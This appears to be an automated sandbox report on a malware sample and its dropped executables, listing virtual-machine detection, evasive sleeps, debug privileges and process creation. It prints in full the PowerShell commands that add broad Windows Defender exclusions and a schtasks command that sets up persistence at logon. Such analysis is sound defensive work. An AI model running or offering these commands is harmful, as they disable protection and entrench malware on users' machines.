Source: C:\Users\user\Desktop\YfTokH7RIj.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\YfTokH7RIj.exe TID: 7096 Thread sleep time: -11990383647911201s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe TID: 5412 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6792 Thread sleep count: 6077 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6808 Thread sleep count: 3026 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5564 Thread sleep time: -5534023222112862s >= -30000s Jump to behavior
Source: C:\Windows\System32\services32.exe TID: 808 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\services32.exe TID: 4168 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6916 Thread sleep count: 5811 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6364 Thread sleep count: 2670 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3120 Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2264 Thread sleep count: 6578 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4856 Thread sleep count: 1608 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5472 Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe TID: 6652 Thread sleep count: 294 > 30
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe TID: 6652 Thread sleep time: -10290000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5388 Thread sleep count: 6779 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5388 Thread sleep count: 1467 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1380 Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3436 Thread sleep count: 7506 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3436 Thread sleep count: 657 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1472 Thread sleep count: 47 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3660 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3600 Thread sleep count: 5914 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3600 Thread sleep count: 2552 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6708 Thread sleep count: 93 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5744 Thread sleep time: -5534023222112862s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\services32.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services32.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Window / User API: threadDelayed 2635 Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Window / User API: threadDelayed 5352 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6077 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3026 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5811
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2670
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6578
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1608
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6779
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1467
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7506
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 657
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5914
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2552
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D7B0FC rdtsc 0_2_00D7B0FC
Is looking for software installed on the system
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\services32.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services32.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Thread delayed: delay time: 35000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: YfTokH7RIj.exe, 00000000.00000003.700905971.00000000070BD000.00000004.00000001.sdmp Binary or memory string: VMware
Source: YfTokH7RIj.exe, 00000000.00000002.732501781.000000000713C000.00000004.00000001.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}oy
Source: services32.exe, 00000013.00000002.812308593.00000000015CD000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllz#u
Source: YfTokH7RIj.exe, 00000000.00000003.700905971.00000000070BD000.00000004.00000001.sdmp Binary or memory string: Win32_VideoController(Standard display types)VMwareD_2N9618Win32_VideoControllerWTUNSAOAVideoController120060621000000.000000-000.37779.0display.infMSBDAY8PGDSLFPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsU8V_FA62k
Source: YfTokH7RIj.exe, 00000000.00000002.721958830.0000000000B5A000.00000004.00000020.sdmp, fl.exe, 00000007.00000002.764392343.00000000011F8000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: services32.exe, 0000000F.00000002.827356686.0000000001396000.00000004.00000020.sdmp, services32.exe, 0000000F.00000003.793020538.0000000001396000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll00
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D575E8 FindFirstFileA, 0_2_00D575E8
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D576C4 FindFirstFileA,GetLastError, 0_2_00D576C4

Anti Debugging:

barindex
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D6E100 GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary, 0_2_00D6E100
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D7B0FC rdtsc 0_2_00D7B0FC
Enables debug privileges
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\services32.exe Process token adjusted: Debug
Source: C:\Windows\System32\services32.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" Jump to behavior
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit Jump to behavior
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Windows\system32\services32.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe" Jump to behavior
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp Binary or memory string: Progman
Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpy,GetLocaleInfoA,lstrlen,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA, 0_2_00D54CB8
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: GetLocaleInfoA, 0_2_00D59C9C
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fl.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
